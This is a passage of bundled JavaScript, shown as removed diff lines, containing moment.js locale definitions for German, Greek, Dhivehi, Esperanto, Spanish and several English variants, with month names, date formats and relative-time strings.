sameElse: "L" - }, - relativeTime: { - future: "om %s", - past: "%s siden", - s: "få sekunder", - ss: "%d sekunder", - m: "et minut", - mm: "%d minutter", - h: "en time", - hh: "%d timer", - d: "en dag", - dd: "%d dage", - M: "en måned", - MM: "%d måneder", - y: "et år", - yy: "%d år" - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i, n) { - var r = { - m: ["eine Minute", "einer Minute"], - h: ["eine Stunde", "einer Stunde"], - d: ["ein Tag", "einem Tag"], - dd: [e + " Tage", e + " Tagen"], - M: ["ein Monat", "einem Monat"], - MM: [e + " Monate", e + " Monaten"], - y: ["ein Jahr", "einem Jahr"], - yy: [e + " Jahre", e + " Jahren"] - }; - return t ? r[i][0] : r[i][1] - } - var i = e.defineLocale("de", { - months: "Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"), - monthsShort: "Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"), - monthsParseExact: true, - weekdays: "Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"), - weekdaysShort: "So._Mo._Di._Mi._Do._Fr._Sa.".split("_"), - weekdaysMin: "So_Mo_Di_Mi_Do_Fr_Sa".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY HH:mm", - LLLL: "dddd, D. MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[heute um] LT [Uhr]", - sameElse: "L", - nextDay: "[morgen um] LT [Uhr]", - nextWeek: "dddd [um] LT [Uhr]", - lastDay: "[gestern um] LT [Uhr]", - lastWeek: "[letzten] dddd [um] LT [Uhr]" - }, - relativeTime: { - future: "in %s", - past: "vor %s", - s: "ein paar Sekunden", - ss: "%d Sekunden", - m: t, - mm: "%d Minuten", - h: t, - hh: "%d Stunden", - d: t, - dd: t, - M: t, - MM: t, - y: t, - yy: t - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i, n) { - var r = { - m: ["eine Minute", "einer Minute"], - h: ["eine Stunde", "einer Stunde"], - d: ["ein Tag", "einem Tag"], - dd: [e + " Tage", e + " Tagen"], - M: ["ein Monat", "einem Monat"], - MM: [e + " Monate", e + " Monaten"], - y: ["ein Jahr", "einem Jahr"], - yy: [e + " Jahre", e + " Jahren"] - }; - return t ? r[i][0] : r[i][1] - } - var i = e.defineLocale("de-at", { - months: "Jänner_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"), - monthsShort: "Jän._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"), - monthsParseExact: true, - weekdays: "Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"), - weekdaysShort: "So._Mo._Di._Mi._Do._Fr._Sa.".split("_"), - weekdaysMin: "So_Mo_Di_Mi_Do_Fr_Sa".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY HH:mm", - LLLL: "dddd, D. MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[heute um] LT [Uhr]", - sameElse: "L", - nextDay: "[morgen um] LT [Uhr]", - nextWeek: "dddd [um] LT [Uhr]", - lastDay: "[gestern um] LT [Uhr]", - lastWeek: "[letzten] dddd [um] LT [Uhr]" - }, - relativeTime: { - future: "in %s", - past: "vor %s", - s: "ein paar Sekunden", - ss: "%d Sekunden", - m: t, - mm: "%d Minuten", - h: t, - hh: "%d Stunden", - d: t, - dd: t, - M: t, - MM: t, - y: t, - yy: t - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i, n) { - var r = { - m: ["eine Minute", "einer Minute"], - h: ["eine Stunde", "einer Stunde"], - d: ["ein Tag", "einem Tag"], - dd: [e + " Tage", e + " Tagen"], - M: ["ein Monat", "einem Monat"], - MM: [e + " Monate", e + " Monaten"], - y: ["ein Jahr", "einem Jahr"], - yy: [e + " Jahre", e + " Jahren"] - }; - return t ? r[i][0] : r[i][1] - } - var i = e.defineLocale("de-ch", { - months: "Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"), - monthsShort: "Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"), - monthsParseExact: true, - weekdays: "Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"), - weekdaysShort: "So_Mo_Di_Mi_Do_Fr_Sa".split("_"), - weekdaysMin: "So_Mo_Di_Mi_Do_Fr_Sa".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY HH:mm", - LLLL: "dddd, D. MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[heute um] LT [Uhr]", - sameElse: "L", - nextDay: "[morgen um] LT [Uhr]", - nextWeek: "dddd [um] LT [Uhr]", - lastDay: "[gestern um] LT [Uhr]", - lastWeek: "[letzten] dddd [um] LT [Uhr]" - }, - relativeTime: { - future: "in %s", - past: "vor %s", - s: "ein paar Sekunden", - ss: "%d Sekunden", - m: t, - mm: "%d Minuten", - h: t, - hh: "%d Stunden", - d: t, - dd: t, - M: t, - MM: t, - y: t, - yy: t - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = ["ޖެނުއަރީ", "ފެބްރުއަރީ", "މާރިޗު", "އޭޕްރީލު", "މޭ", "ޖޫން", "ޖުލައި", "އޯގަސްޓު", "ސެޕްޓެމްބަރު", "އޮކްޓޯބަރު", "ނޮވެމްބަރު", "ޑިސެމްބަރު"], - i = ["އާދިއްތަ", "ހޯމަ", "އަންގާރަ", "ބުދަ", "ބުރާސްފަތި", "ހުކުރު", "ހޮނިހިރު"]; - var n = e.defineLocale("dv", { - months: t, - monthsShort: t, - weekdays: i, - weekdaysShort: i, - weekdaysMin: "އާދި_ހޯމަ_އަން_ބުދަ_ބުރާ_ހުކު_ހޮނި".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "D/M/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - meridiemParse: /މކ|މފ/, - isPM: function (e) { - return "މފ" === e - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "މކ" - } else { - return "މފ" - } - }, - calendar: { - sameDay: "[މިއަދު] LT", - nextDay: "[މާދަމާ] LT", - nextWeek: "dddd LT", - lastDay: "[އިއްޔެ] LT", - lastWeek: "[ފާއިތުވި] dddd LT", - sameElse: "L" - }, - relativeTime: { - future: "ތެރޭގައި %s", - past: "ކުރިން %s", - s: "ސިކުންތުކޮޅެއް", - ss: "d% ސިކުންތު", - m: "މިނިޓެއް", - mm: "މިނިޓު %d", - h: "ގަޑިއިރެއް", - hh: "ގަޑިއިރު %d", - d: "ދުވަހެއް", - dd: "ދުވަސް %d", - M: "މަހެއް", - MM: "މަސް %d", - y: "އަހަރެއް", - yy: "އަހަރު %d" - }, - preparse: function (e) { - return e.replace(/،/g, ",") - }, - postformat: function (e) { - return e.replace(/,/g, "،") - }, - week: { - dow: 7, - doy: 12 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e) { - return e instanceof Function || Object.prototype.toString.call(e) === "[object Function]" - } - var i = e.defineLocale("el", { - monthsNominativeEl: "Ιανουάριος_Φεβρουάριος_Μάρτιος_Απρίλιος_Μάιος_Ιούνιος_Ιούλιος_Αύγουστος_Σεπτέμβριος_Οκτώβριος_Νοέμβριος_Δεκέμβριος".split("_"), - monthsGenitiveEl: "Ιανουαρίου_Φεβρουαρίου_Μαρτίου_Απριλίου_Μαΐου_Ιουνίου_Ιουλίου_Αυγούστου_Σεπτεμβρίου_Οκτωβρίου_Νοεμβρίου_Δεκεμβρίου".split("_"), - months: function (e, t) { - if (!e) { - return this._monthsNominativeEl - } else if (typeof t === "string" && /D/.test(t.substring(0, t.indexOf("MMMM")))) { - return this._monthsGenitiveEl[e.month()] - } else { - return this._monthsNominativeEl[e.month()] - } - }, - monthsShort: "Ιαν_Φεβ_Μαρ_Απρ_Μαϊ_Ιουν_Ιουλ_Αυγ_Σεπ_Οκτ_Νοε_Δεκ".split("_"), - weekdays: "Κυριακή_Δευτέρα_Τρίτη_Τετάρτη_Πέμπτη_Παρασκευή_Σάββατο".split("_"), - weekdaysShort: "Κυρ_Δευ_Τρι_Τετ_Πεμ_Παρ_Σαβ".split("_"), - weekdaysMin: "Κυ_Δε_Τρ_Τε_Πε_Πα_Σα".split("_"), - meridiem: function (e, t, i) { - if (e > 11) { - return i ? "μμ" : "ΜΜ" - } else { - return i ? "πμ" : "ΠΜ" - } - }, - isPM: function (e) { - return (e + "").toLowerCase()[0] === "μ" - }, - meridiemParse: /[ΠΜ]\.?Μ?\.?/i, - longDateFormat: { - LT: "h:mm A", - LTS: "h:mm:ss A", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY h:mm A", - LLLL: "dddd, D MMMM YYYY h:mm A" - }, - calendarEl: { - sameDay: "[Σήμερα {}] LT", - nextDay: "[Αύριο {}] LT", - nextWeek: "dddd [{}] LT", - lastDay: "[Χθες {}] LT", - lastWeek: function () { - switch (this.day()) { - case 6: - return "[το προηγούμενο] dddd [{}] LT"; - default: - return "[την προηγούμενη] dddd [{}] LT" - } - }, - sameElse: "L" - }, - calendar: function (e, i) { - var n = this._calendarEl[e], - r = i && i.hours(); - if (t(n)) { - n = n.apply(i) - } - return n.replace("{}", r % 12 === 1 ? "στη" : "στις") - }, - relativeTime: { - future: "σε %s", - past: "%s πριν", - s: "λίγα δευτερόλεπτα", - ss: "%d δευτερόλεπτα", - m: "ένα λεπτό", - mm: "%d λεπτά", - h: "μία ώρα", - hh: "%d ώρες", - d: "μία μέρα", - dd: "%d μέρες", - M: "ένας μήνας", - MM: "%d μήνες", - y: "ένας χρόνος", - yy: "%d χρόνια" - }, - dayOfMonthOrdinalParse: /\d{1,2}η/, - ordinal: "%dη", - week: { - dow: 1, - doy: 4 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("en-SG", { - months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), - monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), - weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), - weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), - weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Today at] LT", - nextDay: "[Tomorrow at] LT", - nextWeek: "dddd [at] LT", - lastDay: "[Yesterday at] LT", - lastWeek: "[Last] dddd [at] LT", - sameElse: "L" - }, - relativeTime: { - future: "in %s", - past: "%s ago", - s: "a few seconds", - ss: "%d seconds", - m: "a minute", - mm: "%d minutes", - h: "an hour", - hh: "%d hours", - d: "a day", - dd: "%d days", - M: "a month", - MM: "%d months", - y: "a year", - yy: "%d years" - }, - dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, - ordinal: function (e) { - var t = e % 10, - i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; - return e + i - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("en-au", { - months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), - monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), - weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), - weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), - weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), - longDateFormat: { - LT: "h:mm A", - LTS: "h:mm:ss A", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY h:mm A", - LLLL: "dddd, D MMMM YYYY h:mm A" - }, - calendar: { - sameDay: "[Today at] LT", - nextDay: "[Tomorrow at] LT", - nextWeek: "dddd [at] LT", - lastDay: "[Yesterday at] LT", - lastWeek: "[Last] dddd [at] LT", - sameElse: "L" - }, - relativeTime: { - future: "in %s", - past: "%s ago", - s: "a few seconds", - ss: "%d seconds", - m: "a minute", - mm: "%d minutes", - h: "an hour", - hh: "%d hours", - d: "a day", - dd: "%d days", - M: "a month", - MM: "%d months", - y: "a year", - yy: "%d years" - }, - dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, - ordinal: function (e) { - var t = e % 10, - i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; - return e + i - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("en-ca", { - months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), - monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), - weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), - weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), - weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), - longDateFormat: { - LT: "h:mm A", - LTS: "h:mm:ss A", - L: "YYYY-MM-DD", - LL: "MMMM D, YYYY", - LLL: "MMMM D, YYYY h:mm A", - LLLL: "dddd, MMMM D, YYYY h:mm A" - }, - calendar: { - sameDay: "[Today at] LT", - nextDay: "[Tomorrow at] LT", - nextWeek: "dddd [at] LT", - lastDay: "[Yesterday at] LT", - lastWeek: "[Last] dddd [at] LT", - sameElse: "L" - }, - relativeTime: { - future: "in %s", - past: "%s ago", - s: "a few seconds", - ss: "%d seconds", - m: "a minute", - mm: "%d minutes", - h: "an hour", - hh: "%d hours", - d: "a day", - dd: "%d days", - M: "a month", - MM: "%d months", - y: "a year", - yy: "%d years" - }, - dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, - ordinal: function (e) { - var t = e % 10, - i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; - return e + i - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("en-gb", { - months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), - monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), - weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), - weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), - weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Today at] LT", - nextDay: "[Tomorrow at] LT", - nextWeek: "dddd [at] LT", - lastDay: "[Yesterday at] LT", - lastWeek: "[Last] dddd [at] LT", - sameElse: "L" - }, - relativeTime: { - future: "in %s", - past: "%s ago", - s: "a few seconds", - ss: "%d seconds", - m: "a minute", - mm: "%d minutes", - h: "an hour", - hh: "%d hours", - d: "a day", - dd: "%d days", - M: "a month", - MM: "%d months", - y: "a year", - yy: "%d years" - }, - dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, - ordinal: function (e) { - var t = e % 10, - i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; - return e + i - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("en-ie", { - months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), - monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), - weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), - weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), - weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Today at] LT", - nextDay: "[Tomorrow at] LT", - nextWeek: "dddd [at] LT", - lastDay: "[Yesterday at] LT", - lastWeek: "[Last] dddd [at] LT", - sameElse: "L" - }, - relativeTime: { - future: "in %s", - past: "%s ago", - s: "a few seconds", - ss: "%d seconds", - m: "a minute", - mm: "%d minutes", - h: "an hour", - hh: "%d hours", - d: "a day", - dd: "%d days", - M: "a month", - MM: "%d months", - y: "a year", - yy: "%d years" - }, - dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, - ordinal: function (e) { - var t = e % 10, - i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; - return e + i - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("en-il", { - months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), - monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), - weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), - weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), - weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Today at] LT", - nextDay: "[Tomorrow at] LT", - nextWeek: "dddd [at] LT", - lastDay: "[Yesterday at] LT", - lastWeek: "[Last] dddd [at] LT", - sameElse: "L" - }, - relativeTime: { - future: "in %s", - past: "%s ago", - s: "a few seconds", - m: "a minute", - mm: "%d minutes", - h: "an hour", - hh: "%d hours", - d: "a day", - dd: "%d days", - M: "a month", - MM: "%d months", - y: "a year", - yy: "%d years" - }, - dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, - ordinal: function (e) { - var t = e % 10, - i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; - return e + i - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("en-nz", { - months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), - monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), - weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), - weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), - weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), - longDateFormat: { - LT: "h:mm A", - LTS: "h:mm:ss A", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY h:mm A", - LLLL: "dddd, D MMMM YYYY h:mm A" - }, - calendar: { - sameDay: "[Today at] LT", - nextDay: "[Tomorrow at] LT", - nextWeek: "dddd [at] LT", - lastDay: "[Yesterday at] LT", - lastWeek: "[Last] dddd [at] LT", - sameElse: "L" - }, - relativeTime: { - future: "in %s", - past: "%s ago", - s: "a few seconds", - ss: "%d seconds", - m: "a minute", - mm: "%d minutes", - h: "an hour", - hh: "%d hours", - d: "a day", - dd: "%d days", - M: "a month", - MM: "%d months", - y: "a year", - yy: "%d years" - }, - dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, - ordinal: function (e) { - var t = e % 10, - i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; - return e + i - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("eo", { - months: "januaro_februaro_marto_aprilo_majo_junio_julio_aŭgusto_septembro_oktobro_novembro_decembro".split("_"), - monthsShort: "jan_feb_mar_apr_maj_jun_jul_aŭg_sep_okt_nov_dec".split("_"), - weekdays: "dimanĉo_lundo_mardo_merkredo_ĵaŭdo_vendredo_sabato".split("_"), - weekdaysShort: "dim_lun_mard_merk_ĵaŭ_ven_sab".split("_"), - weekdaysMin: "di_lu_ma_me_ĵa_ve_sa".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "YYYY-MM-DD", - LL: "D[-a de] MMMM, YYYY", - LLL: "D[-a de] MMMM, YYYY HH:mm", - LLLL: "dddd, [la] D[-a de] MMMM, YYYY HH:mm" - }, - meridiemParse: /[ap]\.t\.m/i, - isPM: function (e) { - return e.charAt(0).toLowerCase() === "p" - }, - meridiem: function (e, t, i) { - if (e > 11) { - return i ? "p.t.m." : "P.T.M." - } else { - return i ? "a.t.m." : "A.T.M." - } - }, - calendar: { - sameDay: "[Hodiaŭ je] LT", - nextDay: "[Morgaŭ je] LT", - nextWeek: "dddd [je] LT", - lastDay: "[Hieraŭ je] LT", - lastWeek: "[pasinta] dddd [je] LT", - sameElse: "L" - }, - relativeTime: { - future: "post %s", - past: "antaŭ %s", - s: "sekundoj", - ss: "%d sekundoj", - m: "minuto", - mm: "%d minutoj", - h: "horo", - hh: "%d horoj", - d: "tago", - dd: "%d tagoj", - M: "monato", - MM: "%d monatoj", - y: "jaro", - yy: "%d jaroj" - }, - dayOfMonthOrdinalParse: /\d{1,2}a/, - ordinal: "%da", - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"), - i = "ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"); - var n = [/^ene/i, /^feb/i, /^mar/i, /^abr/i, /^may/i, /^jun/i, /^jul/i, /^ago/i, /^sep/i, /^oct/i, /^nov/i, /^dic/i]; - var r = /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i; - var a = e.defineLocale("es", { - months: "enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"), - monthsShort: function (e, n) { - if (!e) { - return t - } else if (/-MMM-/.test(n)) { - return i[e.month()] - } else { - return t[e.month()] - } - }, - monthsRegex: r, - monthsShortRegex: r, - monthsStrictRegex: /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i, - monthsShortStrictRegex: /^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i, - monthsParse: n, - longMonthsParse: n, - shortMonthsParse: n, - weekdays: "domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"), - weekdaysShort: "dom._lun._mar._mié._jue._vie._sáb.".split("_"), - weekdaysMin: "do_lu_ma_mi_ju_vi_sá".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD/MM/YYYY", - LL: "D [de] MMMM [de] YYYY", - LLL: "D [de] MMMM [de] YYYY H:mm", - LLLL: "dddd, D [de] MMMM [de] YYYY H:mm" - }, - calendar: { - sameDay: function () { - return "[hoy a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - nextDay: function () { - return "[mañana a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - nextWeek: function () { - return "dddd [a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - lastDay: function () { - return "[ayer a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - lastWeek: function () { - return "[el] dddd [pasado a la" + (this.hours() !== 1 ? "s" : "") + "] LT" - }, - sameElse: "L" - }, - relativeTime: { - future: "en %s", - past: "hace %s", - s: "unos segundos", - ss: "%d segundos", - m: "un minuto", - mm: "%d minutos", - h: "una hora", - hh: "%d horas", - d: "un día", - dd: "%d días", - M: "un mes", - MM: "%d meses", - y: "un año", - yy: "%d años" - }, - dayOfMonthOrdinalParse: /\d{1,2}º/, - ordinal: "%dº", - week: { - dow: 1, - doy: 4 - } - }); - return a - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"), - i = "ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"); - var n = [/^ene/i, /^feb/i, /^mar/i, /^abr/i, /^may/i, /^jun/i, /^jul/i, /^ago/i, /^sep/i, /^oct/i, /^nov/i, /^dic/i]; - var r = /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i; - var a = e.defineLocale("es-do", { - months: "enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"), - monthsShort: function (e, n) { - if (!e) { - return t - } else if (/-MMM-/.test(n)) { - return i[e.month()] - } else { - return t[e.month()] - } - }, - monthsRegex: r, - monthsShortRegex: r, - monthsStrictRegex: /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i, - monthsShortStrictRegex: /^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i, - monthsParse: n, - longMonthsParse: n, - shortMonthsParse: n, - weekdays: "domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"), - weekdaysShort: "dom._lun._mar._mié._jue._vie._sáb.".split("_"), - weekdaysMin: "do_lu_ma_mi_ju_vi_sá".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "h:mm A", - LTS: "h:mm:ss A", - L: "DD/MM/YYYY", - LL: "D [de] MMMM [de] YYYY", - LLL: "D [de] MMMM [de] YYYY h:mm A", - LLLL: "dddd, D 